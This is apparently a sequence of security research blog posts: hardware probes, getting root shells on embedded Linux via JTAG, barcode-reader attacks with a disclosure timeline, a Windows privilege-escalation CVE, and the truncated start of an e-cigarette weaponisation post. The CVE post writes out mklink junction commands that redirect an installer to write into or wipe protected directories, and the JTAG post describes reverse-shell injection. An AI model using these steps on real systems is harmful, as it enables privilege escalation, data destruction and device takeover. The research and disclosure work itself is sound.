For looking at typical digital signals, a good low-cost option is the transmission line probe. This has a low-value resistor, typically 450Ω, at the tip and connects via coaxial cable to an oscilloscope input terminated with a 50Ω resistor to ground, for a total of 500Ω of loading as seen by the DUT. (Although this may present a problem when looking at signals with pull-up resistors, these are typically low enough speeds that a conventional 10MΩ probe can be used instead.)

Probing our test setup using a transmission line probe (Pico TA061)
Waveform seen through the transmission line probe

The benefit of a transmission line probe is that the input load is, in theory, purely resistive. Although there’s always trace amounts of “parasitic” capacitance due to the physics of having the ground a finite distance away from the input, it’s normally a fraction of a picofarad, which results in a high speed signal on the DUT being loaded much less heavily. As if that wasn’t good enough this lower capacitance means that a high-inductance ground, like the standard alligator clip lead, will be much less likely to resonate – allowing this poor quality (but convenient) grounding method to be used with much faster signals.

In this screenshot the signal is clearly intelligible despite the long ground, and while the waveform as seen by the DUT has measurable loading it’s far less severe than with the 10MΩ probe.

Waveform seen through transmission line probe with spring ground

Unsurprisingly, switching the transmission line probe to a spring ground improves the signal quality further – however, some degradation of the signal on the DUT is also visible. This is caused by the ~2 pF of parasitic capacitance of the probe. (The higher inductance ground lead concealed this loading in the previous test.)

If you don’t want to spend $329 for a commercially made entry level transmission line probe (or $1K+ for a higher end transmission line probe like the Teledyne LeCroy PP066 or PicoConnect 900 series), you may wish to consider building your own. Simply solder a 450Ω resistor to the signal on the DUT you wish to probe, then solder the center terminal of a piece of 50Ω coax to the other end of the resistor and solder the ground braid to any convenient ground point nearby on the DUT. Attach the other end of the coax to your scope and you’re in business.

Squeezing maximum performance out of this DIY probe design requires careful engineering, but building something that outperforms a standard 10MΩ passive probe for instrumenting fast digital logic isn’t difficult. If you don’t want to spend the time tweaking it, you might also want to consider…

Open Hardware High-Speed Probes

For the past year or two I’ve been working on two open-hardware transmission line probes, the AKL-PT1 (handheld, 6 GHz bandwidth) and AKL-PT2 (solder-in, 4 GHz bandwidth).

These probes target the OSHPark 4-layer and flex board stackups respectively. They’re still being fine tuned but already deliver very nice results (outperforming every <$2K probe I’ve tested them against) so feel free to download the KiCAD files and try building one!

There will probably also be a group buy of assembled units with nice plastic enclosures and proper impedance control at some point in the near future once I’m finally satisfied with their performance.

AKL-PT1 in use
AKL-PT2 soldered to a board
Same Ethernet test signal seen through the AKL-PT1

With this knowledge, you should be able to acquire more accurate and useful data from your embedded targets.

INSIGHTS, RESEARCH | January 7, 2021

TAPing the Stack for Fun and Profit: Shelling Embedded Linux Devices via JTAG

While it may not come as a surprise to those who have worked with embedded devices, it is not uncommon to find the JTAG interface on embedded devices still enabled, even in production. Often cited as providing “ultimate control” over a device, JTAG debugging usually provides the user with full read/write privileges over device memory (and by extension over MMIO) as well as the ability to read and write control registers. 

On a simpler embedded device (for example, a “smart” lock), leveraging open JTAG can be fairly straightforward: dump the bare metal firmware via JTAG, reverse engineer it to determine the details of its operation (such as the function which performs validation on the entered PIN code), and either use the JTAG interface to re-write the firmware in flash, or flip some bits in memory (in this example, to trick the PIN code check logic into accepting an invalid PIN code). 

However, embedded Linux platforms can complicate this process substantially. First, the firmware is not bare-metal, but instead a complex system including a multi-stage bootloader, the Linux kernel image, and various filesystems. Second, storage devices are more likely to be managed and mounted by the kernel, rather than memory-mapped, making access to peripherals over JTAG substantially more complicated than on bare metal systems. Third, MCUs used for embedded Linux tend to have a more robust MMU and memory management scheme, which can make addresses reported by the MMU during JTAG memory access more difficult to correlate to locations in physical memory — a correlation that is sometimes necessary thanks to the second hurdle created by a more robust MMU, where it also restricts memory access depending on the execution context, which means that the MMU must either be disabled entirely, or configured to suit the task at hand. 

Thus, while open JTAG does usually grant ultimate control over a device, the operations performed are sufficiently low-level as to make actually manipulating a Linux system in this way a difficult and somewhat arcane task. However, operating in a Linux environment does have its perks: rather than the more complex task of manipulating device operation directly over JTAG in a way specific to the particular device being tested as is the case for bare-metal operating systems, leveraging JTAG on any Linux-based device typically revolves around a uniform goal: access to a root shell. This uniformity means that a similar group of techniques can be used to gain access in any case where a Linux-based device has an enabled JTAG interface.

Despite the obvious and widespread nature of this issue, there appears to be little to no existing work published on this topic. To help fill this void, this article is intended to detail the process of using access to a JTAG interface to move to a root shell on a Linux-based device, as well as the common issues and pitfalls which may be encountered therein.

Interacting with the TAP controller

While this document will not go into great detail on the inner workings of JTAG and the associated tooling, the following is a short crash course on using OpenOCD and a JTAG hardware adapter to interact with a device’s TAP controller.

Interacting with a device via JTAG requires some means of driving each its pins. This can be accomplished with specialized hardware, such as the SEGGER J-Link series of adapters (which I will use for the purposes of this article), or just as easily with a more generic device like a Bus Blaster or FTDI dongle, such as an FT2232. The experience with a device will vary depending on how well it is supported by OpenOCD — the Bus Blaster and SEGGER J-Link are both well supported. 

 Determining JTAG pinout on a given board is outside of the scope of this document, but a wealth of information for doing so exists online. Once the pinout has been determined, the device under test and the chosen JTAG adapter should be connected appropriately. Pictured below is the example device and a J-Link adapter, connected based on the determined pinout of the board’s JTAG header.

After connecting to the device, OpenOCD can be used to interact with the TAP controller. In order to do so, OpenOCD requires information on the CPU to which you’re connected and the adapter used for the connection. A standard installation of OpenOCD will include configuration files for a number of common adapters and targets. It supports many adapter/target combinations out of the box, and on a standard installation the appropriate configs can be found in the target, board, and adapter subdirectories of /usr/local/share/openocd/scripts. 

In this example, we’re working with an NXP iMX.28 CPU, and the SEGGER J-Link, so the call to OpenOCD looks like the following:

To verify a valid connection, confirm that the reported IDCODE (here 0x079264f3) matches the expected value for the targeted processor; this information can be found in the datasheet for the processor. 

For simple, manual interaction, OpenOCD exposes a telnet listener on port 4444. OpenOCD can also be loaded with TCL script files at launch, by passing additional “-f” flags pointing to the desired scripts. 

Now that we can talk to the TAP controller, we can move on to the various techniques for leveraging the JTAG interface.

Techniques

Depending on the processor, the actual implementation of various functions available over JTAG may differ. In general, the same set of primitives will be available: read/write to flash and other memory mapped IO, read/write to various CPU-specific control registers, and read/write to RAM. If you’re familiar with more traditional exploitation techniques, these probably sound a lot like read-where/write-where memory-corruption-based exploitation primitives; this is a useful way of thinking of them. 

There are a few constraints to keep in mind while attempting to gain code execution on a Linux device over JTAG:

  • While the JTAG interface has full control of the processor, this doesn’t mean that extra steps won’t be required to make use of it. For example, the debug interface write to any area of RAM, but it will be doing so in the same context as whatever program was running when the CPU was halted. In the context of a Linux system, this means the same rules that apply to programs apply to any memory access by the debug interface – access an area of memory outside the virtual memory space of the currently executing process, and the MMU will reject the memory access and generate a DATA ABORT exception. 
  • Not all execution contexts are created equal. Anyone taking their first steps toward exploiting Linux kernel modules will know that code executed from the context of the kernel (or “Supervisor” from the perspective of the CPU) is generally incompatible with code and exploitation techniques written for userland. While it is possible to tailor shellcode to either context, the context should be kept in mind when setting things up. 
  • As we will see shortly, making our way to a shell from these primitives involves overwriting some section of memory. Of course, if the code or data we overwrite with shellcode is critical to system operation in some way, the system will no longer function as expected, so take care in selecting an area of memory that can be overwritten without interfering with the system as a whole.

For these examples, the following conditions were chosen for exploitation: 

  • We will be exploiting the JTAG access from userspace, rather than from kernel code. There is no real reason for this, other than the fact that it’s a bit simpler than acting from kernelspace, and it so happens that any shell on the device under test will be a root shell, so we don’t gain any additional privileges by going the kernelspace route.
  • The device under test provides an Ethernet interface for communication with the outside world. This will be our target for gaining a shell by opening a reverse shell over an unused TCP port. If the device did not have this interface and instead had, say, a UART console, the timing, memory areas, and shellcode chosen would differ somewhat. However, the overall procedure in this article would still apply.

The first step is simply to generate some valid shellcode to load into memory. To generate shellcode for performing our chosen operation, a reverse TCP shell, we use MSFvenom, specifying the target architecture/platform (armv5le, linux). We want the raw byte output, as we’ll be injecting it directly into memory.

As illustrated above, the size of the shellcode in this case is 172 bytes. Not huge, but it could certainly pose a problem depending on how the MMU is configured. In fact, in the case of our example device, this tends to exceed the MMU-allowed writable length of memory under $pc, and we will need to address it as we perform some of the techniques outlined below.

Smashing with Precision

Although the famous Phrack article is nearly a quarter-century old at time of writing, the old-school stack smashing of days gone by is alive and well in the embedded world. It is not an entirely uncommon, depending on the architecture family/version and degree of programmer negligence, to find devices in the embedded world which either do not have a “no execute” flag for memory access, or have the flag disabled if it is available. If this is the case, gaining a shell is very straightforward: halt the CPU, overwrite the stack with shellcode, and jump to $sp. In most cases, the stack will have enough space allocated to avoid generating a segmentation fault on write, and is always writable by nature, enabling us to sidestep any MMU shenanigans that might be required for other techniques during exploitation. 

This technique requires little to no knowledge of the software running on the device, and generally will not crash or permanently alter the operation of the device. It still might crash, if you get unlucky with the function whose stack is being overwritten, and so isn’t suitable for testing environments where any degree of device malfunction is unacceptable.

A number of factors may exclude this technique as a possibility, such as a no-execute bit or stack constraints. It may be possible to work around these factors via the JTAG interface, but in the case that a workaround fails, other techniques are available.

Firing From the Hip

In general, device exploitation can be aided by access to a copy of the firmware. If firmware is not available, it’s possible to feel your way around the system semi-blind, halting and inspecting configuration registers to determine when you’ve landed in a suitable place. This technique will also routinely crash the device, unless you get incredibly lucky on your first attempt, so this is not a technique suited to an environment where a crashed device is not a recoverable scenario.

The MMU will need to be addressed to allow manipulation of memory, so that shellcode can be written and execution resumed without generating a fault. To do so, we can either reconfigure the MMU to allow reads/writes to the areas to which we want to write, or just disable the MMU entirely. The former option is more complicated to set up, but the latter requires extra work since without the MMU we’ll need to translate virtual addresses to physical addresses ourselves. However, disabling the MMU is also a more universal option, easily applied to a variety of CPUs and architectures.

Here we opt for disabling the MMU, writing shellcode under the memory pointed to by the program counter, then re-enabling the MMU to allow execution to continue without error. There are a few techniques for correlating MMU-enabled (virtual) addresses with the MMU-disabled (physical) addresses; in this case, dumping the full system RAM via JTAG with the MMU disabled, then using a simple homemade tool to match the bytes under the program counter to an offset into the RAM dump. 

This tool can be used with the output of OpenOCD’s dump_image command to find where, in the physical address space, a given virtual address is pointing. While the dumped RAM image may not be identical between boots, the locations of loaded binaries in memory will generally stay the same, because the device will tend to run the same programs in the same order every time.

 

The image above illustrates the process of using OpenOCD in conjunction with the tool:

  1. The CPU is halted here, and found to be in the “User” execution context. If it had been halted under any other context, most likely “Supervisor,” the CPU would be resumed, and the process repeated, until the CPU is halted in the correct execution context. 1024 bytes starting at the program counter are then dumped to a file.
  2. That resulting file is fed into the tool, and found within the dumped RAM image. The tool outputs the address at which a matching sequence of 1024 bytes is found (the physical address).
  3. The MMU is disabled here, and the shellcode is written to the physical address to which the virtual address in the program counter is mapped. The process of disabling the MMU is CPU-specific; information on how to do so can be found in the appropriate reference manual. Here it is accomplished by clearing a specific bit in a specific control register.
  4. The MMU is re-enabled and the memory under the program counter is read to confirm the shellcode has been written. The bytes read match the bytes of the shellcode, confirming we have written to the correct physical address.
  5. The CPU is resumed, with execution continuing from the program counter, our shellcode now occupying the memory to which it points. The netcat listener receives a connection, and a bash shell is available to the attacker. In this case, the shell runs with root privleges.

So, easy right? Not exactly. 

The far more likely outcome during the above process is that the userspace code we randomly halted on will either be some crucial library function, causing a crash at some subsequent step in execution of the shellcode, resulting in a failure to gain a shell and probably breakage of most other device functionality (think overwriting malloc with shellcode), or some piece of code whose absence prevents successful shell access. In practice, actually getting through this process with a shell at the end required around 20-30 attempts on average, with many failed attempts requiring a device reset to un-break critical library code. 

This is fine, if tedious, under circumstances where a device can be reset and taken down arbitrarily. However, in contexts where a device cannot be taken offline or reset, this approach is obviously not viable.

Know Thine Enemy

In cases where device firmware is available, or where the exact version of libraries or other software in use by the system are known or possessed, we can take a more targeted approach. The ability to identify the location in physical memory of a binary or library known to be called during device operation enables us to overwrite a function from within that binary or library with shellcode. Upon execution of that particular function as part of the normal operation of the device, the shellcode will run in place of the function normally at that offset into the binary. When we can choose a function to overwrite whose abscence will not cause any anacceptable side effects for the device, we can avoid device crashes or other interruptions.

In the case of the example device, the firmware is available, and we can use one of a variety of binary analysis tools to determine an appropriate function to overwrite. IDA, Binary Ninja, radare, and even the humble objdump are just fine for this purpose. For this example we’ll use Binary Ninja. 

In looking for an appropriate function, we should seek the following conditions:

  • The binary or library should be loaded at startup, and continue running during device operation. This ensures that it will be present in RAM when memory is dumped, and that its position in RAM will be the same between boots. This rules out something like a cgi-bin called in response to an HTTP request, which would otherwise be a good candidate.
  • The function should either have some external attacker-accessible trigger, or should be a function that repeats reliably. If the function only runs once, during system boot, the shellcode will never actually execute if it’s loaded after the function has been executed.
  • The function should not be system-critical, especially in the case of standard libraries. Its fairly trivial to track down an appropriate version of libc or libpthread, for example, and simply overwrite something like pthread_mutex_unlock, with a pretty strong guarantee that the function will run at some point, triggering the shellcode. However, the next time a function needs to unlock a mytex, the system will come crashing down, requiring a reset.
  • While not required, it can be useful to choose some binary or library whose source code is publicly available, as the code can come in handy to work out the most appropriate function to overwrite and save some time otherwise spent reverse engineering.

After some digging around, we identified a good candidate for shellcode injection in a vsftpd server running on the device. Exclusively used for OTA firmware updates, a lapse in functionality in this server will not interfere with the operation of the device. In a real-world scenario where the ability to initiate an OTA update would eventually be required again, after acquiring root shell access the vsftpd server can be restarted and reloaded into memory uncorrupted by shellcode.

Some minimal reverse engineering and cross-referencing against the vsftpd source turns up a function, vsf_sysutil_retval_is_error, which looks like a good choice. It appears to be vsftpd’s error checking function, meaning it will likely be called during most operations. This is supported by a fairly large number of cross references in a wide range of functions. One drawback is that the function itself is only eight bytes long, and overwriting it will clobber the function positioned under it in memory. This means that the vsftpd server is toast after our exploit is fired, but as mentioned before, we can simply restart the vsftpd server from our root shell if desired. 

Using the same tool as in the previous techniques, we find the physical address in RAM of the function we’d like to overwrite. This time, rather than searching for the bytes dumped from under $pc, we look for 0x100 bytes or so from the vsftpd binary, starting at the beginning of the target function. This can be done with dd, or just by copying-and-pasting if you’re using Binary Ninja or similarly equipped software.

Moving back to the JTAG connection, we can now write to the acquired physical address (shown in the preceeding image), overwriting the target function with shellcode. To trigger its execution, we’ll use an FTP client to connect to the target device, which at some point calls the vsf_sysutil_retval_is_error function as expected. 

Further Reading

  • JTAGTest.com Pinout Reference – A useful collection of various standard JTAG header pinouts, useful for identifying mystery pinouts on boards under test.
  • Smashing The Stack For Fun And Profit – A must read for the aspiring hardware hacker, many of the points discussed within apply equally when working with a device over a JTAG connection.

References

INSIGHTS, RESEARCH | December 12, 2020

Warcodes II – The Desko Case

Six months ago we published a blog post describing ‘Warcodes’ a novel attack vector against industrial barcode readers. It included the following warning in the conclusion:

“Also, according to IOActive’s experience, it is likely that similar issues affect other barcode manufacturers.”

The same warning still applies at the time of writing this post, so I am afraid that we will have a ‘Warcodes III’ sooner rather than later. 

Also, I would like to clarify that, as opposed to previously published research on barcode readers, we are directly attacking the barcode reader device. This basically means that for our attacks to work we do not take the user terminal (a PC or any other device) connected to the target barcode reader into account.

In the previous blog post, we focused on industrial barcode readers used in the baggage handling systems deployed at a significant number of international airports. The context in this case does not change very much from the previous one, we are still analyzing threats to smart airports by looking for potential security risks in the devices that comprise the most critical systems within modern airport facilities. To identify those systems, we again used the ranking that appeared in this ENISA paper on securing smart airports.  

This time we targeted boarding gate readers used as part of the passenger boarding and flow control.

DESKO

DESKO products are found in most international airports around the world. For instance, while going through a security checkpoint you may have noticed that the TSA uses DESKO’s PENTA Scanner®. 

Unfortunately, I couldn’t find one of those devices publicly available so if anyone out there is willing to help me access a PENTA Scanner, just ping me.

However, I managed to buy a couple of BCR/BGR 504 pro devices, which are pretty common at boarding gates and security checkpoints at international airports such as Munich (Germany), San Francisco (US),  Heathrow (UK) or Mumbai (IN).

BGR 504 at Mumbai Airport  (India) – Image from https://livefromalounge.com 
 BGR 504 at Munich Airport (Germany)

Hardware Analysis

At first glance, it is obvious that the BGR 504 pro is a much more complex device than the BCR 504 pro; however, they both use the same imaging engine, an OEM barcode reading engine manufactured by Honeywell: the N56xx family.

According to the FCCID documents, the Desko Penta Scanner Cube  seems to be using the same n56XX module.

So let’s see what we can learn from the manual.

According to the document we can “create and print programming bar codes” pretty much the same way as in the SICK scenario, so the EZConfig-Scanning software is certainly an interesting target to dig deeper into and explore all those functionalities.

Ok, there we go. This basically confirms that we can control the N5600 via custom programming barcodes, but there are some security settings that may prevent this from working. Unfortunately, those security settings are not publicly available, so it seems like reverse engineering is, once again, the only path we can take to satisfy our curiosity.

The N56xx module is basically comprised of a camera module and logic board.

The MCU of the logic board is an i.MX257

We have already seen that it is possible to configure the module with custom settings, but it is also possible to develop custom plugins for this module using the TotalFreedom SDK.  There is even a marketplace for commercial plugins. Taking this into account, the Winbond SPI flash memory  may hold interesting data; hopefully, the firmware as well. 

So instead of dumping the memory, I just sniffed the SPI bus during a regular boot using a SALEAE logic analyzer.

It was possible to grab the firmware from the captured data. I directly exported the CSV data from the SALEAE session and wrote the following program to extract the contents.

Firmware analysis

Right after the highlighted header, we find the code for a loader that decompresses the main application.

After the loader comes the application header, and then finally, the compressed application.

Honestly, I didn’t spend too much time trying to understand the decompression algorithm; it looks like some kind of RLE, but I moved directly to emulating it using the Unicorn engine.  There are just few requirements we need to comply with in order to emulate this function:

  • We need to understand the context where the decompression function is executed and replicate it within our Unicorn-based emulator program. We need to set the context of the function as if we were the loader. The function is expecting four parameters:
    • R0 – Source (compressed data)
    • R1 – Length (compressed length)
    • R2 – Destination 
    • R3 – Flag 

  • We need to save the code for the ‘decompress’ function (732 bytes)
  • In the Unicorn engine program, we have to create the memory mappings, load the code to be emulated (decompress.bin), and set the registers accordingly, before invoking the function to be emulated. C source code available here.

Back to those ‘confidential’ security settings, firmware analysis revealed the logic behind them.

The ‘MNUENA’ command is used to decide whether or not the N56xx module will accept programming barcodes. Basically, executing MNUENA0 disables menu commands through programming barcodes and executing MNUENA1 forces the device to start accepting them again.

However,  it appears that someone considered that once you deploy one of these modules, it is not a good idea to let just anyone send menu commands through programming barcodes.  By reverse engineering the firmware, I noticed that Honeywell implemented a single security boundary: a ‘PASSWORD’ field in the working config. It can be configured through ‘PASWRD’ command in order to require a password when attempting to enable menu commands with ‘MNUENA1’.

validatePassword’ checks whether the password entered via the programming barcode is the same as the one that was configured, and ‘check_password’ checks whether the format of the password is acceptable when it is set.

Obviously, this approach may have a significant caveat: when configured, the value of that ‘PASWRD’ will probably be the same for all N56xx modules. Therefore, if you have physical access to one, for instance, by buying a decommissioned device (like I did), it is possible to access the password.

A further analysis revealed that you do not even need physical access to dump flash memory, as I also found undocumented commands that can be sent through specially crafted USB (or Serial when Desko VCOM is installed) requests. Their names are pretty self-explanatory but are summed up as follows:

  • DUMPMEMORY: Allows dumping arbitrary chunks of memory
  • PEEK: Allows reading memory contents from arbitrary addresses
  • POKE: Allows writing attacker-controlled values to arbitrary addresses

You can use the following PoC to communicate with a N56xx module and send the aforementioned commands via USB.

In the DESKO case, the ‘PASWRD’ field has not been configured, so anyone presenting the following barcode to the device will enable menu commands through programming barcodes, allowing them to disrupt the normal functioning of the device.


Conclusion

The attack vector described in this blog post can be exploited in various ways across multiple industries, as the Honeywell N56xx family is an OEM device that is actively deployed in different sectors. These issues can be leveraged to backdoor and take control of these devices.

We recommend all barcode reader manufacturers take a proactive approach and assess the security posture of their products against this type of attack, as the trend we are observing is worrisome.

Disclosure Timeline

  • 2020-08-12 – Initial contact through DESKO’s web support form.
  • 2020-08-12 – Automatic reply from DESKO.
  • 2020-08-17 – DESKO support staff asks for additional information about the issue.
  • 2020-08-19 – IOActive shares the initial advisory describing the issue with DESKO.
  • 2020-08-20 – DESKO support staff acknowledge the report and mention they will share it with their Research & Development team.
  • 2020-09-23 – DESKO states they are in contact with the N5600 manufacturer in order to address the issue.
  • 2020-10-26 – IOActive asks for a status update; no response
  • 2020-11-23 – IOActive asks whether DESKO has any plans to share a statement about this security issue; no response.
INSIGHTS, RESEARCH | November 11, 2020

CVE-2020-16877: Exploiting Microsoft Store Games

TL;DR

This blog post describes a privilege escalation issue in Windows (CVE-2020-16877) I reported to Microsoft back in June, which was patched in October. This issue allows an attacker to exploit Windows via videogames by directly targeting how Windows handles Microsoft Store games. This issue could be exploited to elevate privileges from a standard user account to Local System on Windows 10.


Introduction

Back in June, a certain announcement caught my attention – Microsoft just added support for mods for various games as part of its gaming subsystem. My growing curiosity lead me to explore this new Windows feature and find an implementation flaw that could be abused to conduct privilege escalation attacks.

I have put together this blog post using the many Post-it notes left stuck around my monitors, detailing a long night spent playing around with this new Windows feature.

Before we start playing with this feature, let me provide you with some background on Windows apps and game mods. If you are familiar with these concepts, please feel free to skip over the next section.


Windows Gaming and Mods

If you are not too familiar with videogames, a mod (short for “modification”) is an alteration made by players or fans of a videogame, that changes one or more aspects of a videogame, such as how it looks or behaves. Mods range from small changes and tweaks to complete overhauls, which can make a game more interesting to play.

In general, Microsoft Store games are Universal Windows Platform (UWP) apps deployed on Windows as Windows apps.

According to Microsoft’s documentation, a UWP app is:

  • Secure: UWP apps declare which device resources and data they access. The user must authorize that access. UWP apps use a manifest to specify the capabilities that are needed, such as access to the microphone, location, Webcam, USB devices, files, and so on.
  • Able to use a common API on all devices that run Windows 10.
  • Available from the Microsoft Store on all devices that run on Windows 10.
  • Able to be installed and uninstalled without risk to the machine or incurring “machine rot”.

One can think of a UWP app as a sandboxed application, which defines its capabilities (e.g. filesystem access, network access, and so on) in the Manifest part of the application package (Appx).

Appx is the file format used to distribute and install apps on Windows 10, Xbox One, HoloLens, and Windows 10 IoT Core. Unlike legacy desktop apps, Appx is the only installation system allowed for UWP apps.

Windows apps are stored in a special “hidden” directory (“C:\Program Files\WindowsApps“) on the system that has strict access rules, preventing any sort of game mods or standard user interaction:

The following images shows the permissions for this directory:

In the past, given the lack of mod support for Microsoft Store games, players have been looking for workarounds to mod their favorite games (i.e. Minecraft – Microsoft Store edition). For example, in order to perform DLL injection on UWP apps, the ALL APPLICATION PACKAGES (S-1-15-2-1) group should have had R+X permissions on the DLL being injected into the Windows app.

Now that we have a basic idea of the Windows apps ecosystem and game mods, we are ready to jump into the fun part.


Game On!

Before installing the game on my system, I took a step back and considered how Microsoft might implement this feature and came up with two possible ways. My two guesses were:

  • A new subdirectory within the WindowsApps directory that was accessible to standard users.
  • A separate directory placed in a (standard) user-accessible directory.

So, I performed an additional step and did a simple search on my main drive for “*WindowsApps*” and got the following result:

It appears that in order to allow games to support mods, Windows created a new directory “C:\Program Files\ModifiableWindowsApps“, which as the name suggests, should host Windows apps that could be modified. Interesting.

I wanted to check the permissions on this directory as well as its contents, but unfortunately, I didn’t have any content in it yet. However, I could at least access it without an admin prompt, but couldn’t do much in it…

Permissions on C:\Program Files\ModifiableWindowsApps:

I did a quick online search for references to this directory and found the following bits:

  • References to the ModifiableWindowsApps directory could be found in the Microsoft documentation for desktop6:MutablePackageDirectory (dated 04/19/2019), which states this directory, “specifies a folder under the %ProgramFiles%\ModifiableWindowsApps path where the contents of your desktop application’s install folder are projected so that users can modify the installation files (for example, to install mods).”
  • The documentation for desktop6:MutablePackageDirectories (dated 04/19/2019) states this directory, “enables your desktop application to specify one or more folders where users can modify the installation files for your application (for example, to install mods).”
  • And most importantly, “this element is currently intended to be used only by certain types of desktop PC games that are published by Microsoft and our partners. It requires the modifiableApp restricted capability“.

This tells us that this feature is restricted to only certain games that need to be vetted and approved by Microsoft, in order for the game to be allowed to specify the modifiableApp capability in the manifest, and therefore allow mods.


Recap Time

Let’s recap what we know so far:

  • Windows is allowing a number of Microsoft Store games to be modifiable.
  • This is achieved by allowing certain game developers to publish UWP games on the Store using a restricted capability (modifiableApp).
  • Among other things, the modifiableApp capability allows Microsoft Store games to rely on the Windows mod support and a bunch of new APIs.
  • These modifiable Windows apps can specify the directories where their modifiable data is stored via MutablePackageDirectory and MutablePackageDirectories.

Back To The Action

At this point, in order to proceed with my exploration, I had to find a list of games with mod support available on the Microsoft Store, and pick a game to play with. Luckily enough, the Microsoft article about mod support for Microsoft Store games had this list ready for me:

  • DiRT Rally 2.0
  • Farming Simulator 17
  • FTL: Faster Than Light
  • Into The Breach
  • MudRunner

I decided to go for Faster Than Light:

To confirm my understanding of the Windows apps’ modding approach, I took a quick peek at the game manifest to check and confirm the presence of the “special” capability (modifiableApp):

And to confirm the location of the game directory where the game data would be deployed, I checked the ModifiableWindowsApps directory after installing the game, and “FTL” would be the MutablePackageDirectory:

With this information, I decided to go ahead and install the game again as a standard user, and monitor the installation process with ProcMon:

ProcMon provided me with the following information about installing games with mod support from the Microsoft Store:

  • There were two main processes doing the heavy lifting:
    • svchost (running as NT AUTHORITY\SYSTEM), specifically:

  • GamingServices (running as S-1-5-18)
  • These processes performed interesting file actions without impersonating a low-privileged user.

At this point I was very intrigued by this installation mechanism and decided to spend a bit more time on this, but not before having yet another late-night espresso.


Houston, We Got A Problem

The ModifiableWindowsApps directory, storing Windows games, does not allow (by default) standard users to fiddle with the installation directory or its contents:

One of the reasons why Microsoft may want to restrict access to the game directory (and its parent directory) is to prevent standard users from hijacking the installation process and placing game data into an unwanted directory. How? For example, by relying on symbolic links.

Specifically, on Windows it is possible to create symbolic links via:

  • Hard Links – A hard link is the filesystem representation of a file by which more than one path references a single file in the same volume.
  • Junctions – A junction (also called a soft link) differs from a hard link in that the storage objects it references are separate directories, and a junction can link directories located on different local volumes on the same computer.
  • Object Manager Symbolic Links – a filesystem-like structure, which is used to hold named resources, such as devices and events, that also supports symbolic links.

If you would like to know more about symbolic links, please refer to the amazing work from James Forshaw (@tiraniddo) on this topic (i.e. A Link To The Past).

If I were able to gain write access to the ModifiableWindowsApps directory, I could try to redirect the game installation to target an arbitrary directory on the system, including a directory a standard user would not have access to, since the installation process(es) run as a high-privileged user, as shown earlier.

Under the assumption I could create the initial junction (for the ModifiableWindowsApps directory itself), the following workflow shows a possible way to hijack the installer to an arbitrary directory (i.e. into “C:\Windows\ImmersiveControlPanel“), bypassing access restriction:

Permissions for C:\Windows\ImmersiveControlPanel:

Unfortunately, to be able to set up any symbolic link, a standard user would need to have write access to ModifiableWindowsApps or any of its subdirectories.

This was not possible since the ModifiableWindowsApps could not be replaced (as this was already part of the system) and there were strict access rules in place to protect this directory and its content (i.e. the game directory “FTL“).

Is it game over? Well not just yet…


And Yet It Moves

All I needed to find was a way to “lift” the ModifiableWindowsApps directory and place it somewhere else on the system where I have access, at least until this relocation has completed.

Interestingly, Windows has a neat feature that lets you define where various data should be stored, which is accessible to standard users. This feature is accessible via Storage Settings.

This feature obviously works for Windows apps, and I wanted to confirm this would also work with modifiable Windows apps. So, I set the destination drive for new apps to a different drive on my system and tried the installation process again. Great news, the ModifiableWindowsApps directory and the game were both placed on the new drive.

Potentially, this could be a way to gain write access to the ModifiableWindowsApps directory when this is deployed on a different drive (rather than C:), and all I had to do was prepare the destination drive (i.e. any other drive on the system, even an empty USB stick) with a combination of junctions and bait the installer via Storage Settings.


Challenge Accepted

It was time for me to put all the pieces together and try to exploit this mechanism and see if the workflow I envisioned earlier, with a minor change (bouncing from one drive to another), would work and reveal an interesting implementation flaw:

First off, I set the junction to hijack the installer using the following commands (assume D: is any other available drive on the system – even a USB stick):

  • md “D:\Program Files”
  • mklink /J “D:\Program Files\ModifiableWindowsApps” “C:\Windows\ImmersiveControlPanel”

Then, I changed where the Windows apps should be stored via Storage Settings:

And installed the game:

While monitoring the installation via ProcMon:

To confirm the game data was actually written into my arbitrary directory:

At this point I knew a standard user could write data into any arbitrary directory on the system, but what about deleting files? The first approach that came to mind was trying to uninstall the game.

Unfortunately (or fortunately), the uninstall process only removes game files (stored in the actual game directory) and it didn’t appear to touch any unrelated data.

But what if the game directory itself is a junction? What if we use a double junction to trick the installer into thinking that the game installation directory itself is another directory on the system?

This way, when the installer attempts to delete the game data, instead of deleting the content of the game directory (i.e. “FTL“), it will remove the content of an arbitrary directory on the system (i.e. the “Private” directory stored on the admin’s desktop):

So, I prepared my attack environment again but with a little twist, I would use a double junction to wipe an arbitrary directory by pivoting the installer towards my target:

  • md “D:\Program Files”
  • md “D:\pivot”
  • mklink /J “D:\Program Files\ModifiableWindowsApps” “D:\pivot”
  • mklink /J “D:\pivot\FTL” “C:\Users\dnt-admin\Desktop\private”

After setting up the environment, I performed the same steps as described earlier for the arbitrary write scenario, with a little change when performing the installation step. In fact, to trigger the “delete”, one would need to interrupt the installation (after the download completes) via the Microsoft Store or wait for the installer to throw an error:

And by doing so, all the data in the targeted directory was actually wiped.

As a final comment before we jump to the last section, please note that it is possible to achieve good control over where the game data is written to (or which files to delete) by the installer by using multiple combinations (and levels) of symbolic links.


Elevation Time

People usually say “pics or it didn’t happen”, so I shall leave a GIF(t) below of a standard user spawning a shell running as nt authority\system by exploiting this vulnerability:

Hope you enjoyed the reading! Game on and play safe!


INSIGHTS, RESEARCH | October 6, 2020

A journey into defeating regulated electronic cigarette protections

TL;DR: This blog post does not encourage smoking nor vaping. The main focus of this blog will be defeating the protections of a regulated electronic cigarette to assess the ability of it being weaponized via a remote attacker by modifying its firmware and delivering it through a malware which waits for electronic cigarettes to be connected over USB or discovered over Bluetooth.

The electronic cigarette market continues to grow. According to statistics presented by the market research company EuroMonitor, the number of people who vape will reach almost 55 million by 2021. In this blog post, we showcase different ways to weaponize electronic cigarettes or their components to cause fires and/or explosions, which can physically impact sectors such as the Aviation industry.

Vaping 101:

Prior to creating havoc, let’s do a quick walkthrough of the components that comprise a mod vape. There are two common types of mod vapes: regulated and unregulated.

Regulated (box) mods have built-in protections against overheating and continuous firing and regulate the power flow through the device. 

Regulated Mod
  • An 18650 battery is the most common type of battery used in box mods. They are lithium-ion cell, which are high-drain, rechargeable batteries.
  • Two buttons on the box mod control the wattage and tell the mod how much power to deliver to the coils to make them hotter or cooler.
  •  Box mods can hold one or more batteries. Once the fire button is pressed, the batteries discharge, making the coils heat up and causing the liquid to turn into vapor (hence the term: vape or vaporizer). The user inhales the vapor via the drip tip.
Mechanical mod

Unregulated (mechanical) mods have no circuitry and do not provide any protections. Mechanical mods provide direct power from the batteries to the coil (these are dangerous on their own). 

How vape firing looks like

  1. Fire button is pressed.
